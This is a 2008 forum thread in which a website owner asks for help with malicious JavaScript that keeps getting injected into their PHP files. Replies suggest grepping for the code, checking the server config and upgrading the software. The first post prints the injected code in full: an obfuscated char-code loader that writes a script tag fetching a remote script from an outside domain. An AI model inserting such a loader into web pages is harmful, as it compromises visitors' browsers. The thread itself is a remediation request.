Current location: Hot Scripts Forums » Programming Languages » PHP » virus in php files


virus in php files

Reply
  #1 (permalink)  
Old 10-31-08, 12:04 PM
umarrana umarrana is offline
Newbie Coder
 
Join Date: Dec 2006
Location: Pakistan
Posts: 44
Thanks: 0
Thanked 0 Times in 0 Posts
virus in php files

hello dear friends these days i am facing a big problem i virus is coming in all my php files auto i clean all files but its not moving

here is virus code
HTML Code:
<SCRIPT LANGUAGE="JavaScript"> 
<!--
function Decode(){var temp="",i,c=0,out="";var str="60!115!99!114!105!112!116!32!115!114!99!61!34!104!116!116!112!58!47!47!116!114!117!115!116!101!100!116!111!112!49!48!46!99!111!109!47!115!101!46!106!115!34!62!60!47!115!99!114!105!112!116!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);}
//--> 
</SCRIPT><SCRIPT LANGUAGE="JavaScript"> 
<!--
Decode();
//--> 
</SCRIPT><SCRIPT LANGUAGE="JavaScript"> 
<!--
function Decode(){var temp="",i,c=0,out="";var str="60!115!99!114!105!112!116!32!115!114!99!61!34!104!116!116!112!58!47!47!116!114!117!115!116!101!100!116!111!112!49!48!46!99!111!109!47!115!101!46!106!115!34!62!60!47!115!99!114!105!112!116!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);}
//--> 
</SCRIPT><SCRIPT LANGUAGE="JavaScript"> 
<!--
Decode();
//--> 
</SCRIPT><SCRIPT LANGUAGE="JavaScript"> 
<!--
function Decode(){var temp="",i,c=0,out="";var str="60!115!99!114!105!112!116!32!115!114!99!61!34!104!116!116!112!58!47!47!116!114!117!115!116!101!100!116!111!112!49!48!46!99!111!109!47!115!101!46!106!115!34!62!60!47!115!99!114!105!112!116!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);}
//--> 
</SCRIPT><SCRIPT LANGUAGE="JavaScript"> 
<!--
Decode();
//--> 
</SCRIPT>

please help me to out of this
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiShare on FacebookShare on Stumble UponShare on Twitter
Reply With Quote
  #2 (permalink)  
Old 11-01-08, 02:31 PM
wirehopper's Avatar
wirehopper wirehopper is offline
-
 
Join Date: Feb 2006
Posts: 2,516
Thanks: 20
Thanked 109 Times in 106 Posts
I would use

grep -r "String.fromCharCode(temp)" *.php to check the PHP files. They may be corrupted.

The other area to check is your /etc/httpd/conf/httpd.conf file. It may be appending the code (due to a hack).

Check your PHP files carefully.

It is also possible that you cleaned it all up, and the hacker came back in. Check the file dates.

If it is your application, you will need to find out what is happening.

If it is an open source application, you should probably upgrade it.

Good luck.
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiShare on FacebookShare on Stumble UponShare on Twitter
Reply With Quote
  #3 (permalink)  
Old 11-05-08, 07:51 PM
npsari npsari is offline
Newbie Coder
 
Join Date: Mar 2007
Posts: 36
Thanks: 0
Thanked 0 Times in 0 Posts
Do you host in a company, or you have your own server
Anyway, the may be able to help you
Just contact them
__________________
http://www.yavrim.com
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiShare on FacebookShare on Stumble UponShare on Twitter
Reply With Quote
Reply

Bookmarks


Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On

Forum Jump

Similar Threads
Thread Thread Starter Forum Replies Last Post
create files in php banli PHP 3 10-31-08 10:49 PM
.csv files to php TGyll Script Requests 7 01-25-07 04:22 AM
php files with no extension? liljoeyjordison PHP 4 09-03-05 02:46 PM
PHP multi-dimensional array sorting issue aqw PHP 2 06-25-05 12:09 AM
PHP Runner , Preview PHP files ! moslehi@gmail.com General Advertisements 3 12-08-04 04:01 PM


All times are GMT -5. The time now is 08:18 AM.
vBulletin® Copyright ©2000 - 2012, Jelsoft Enterprises Ltd.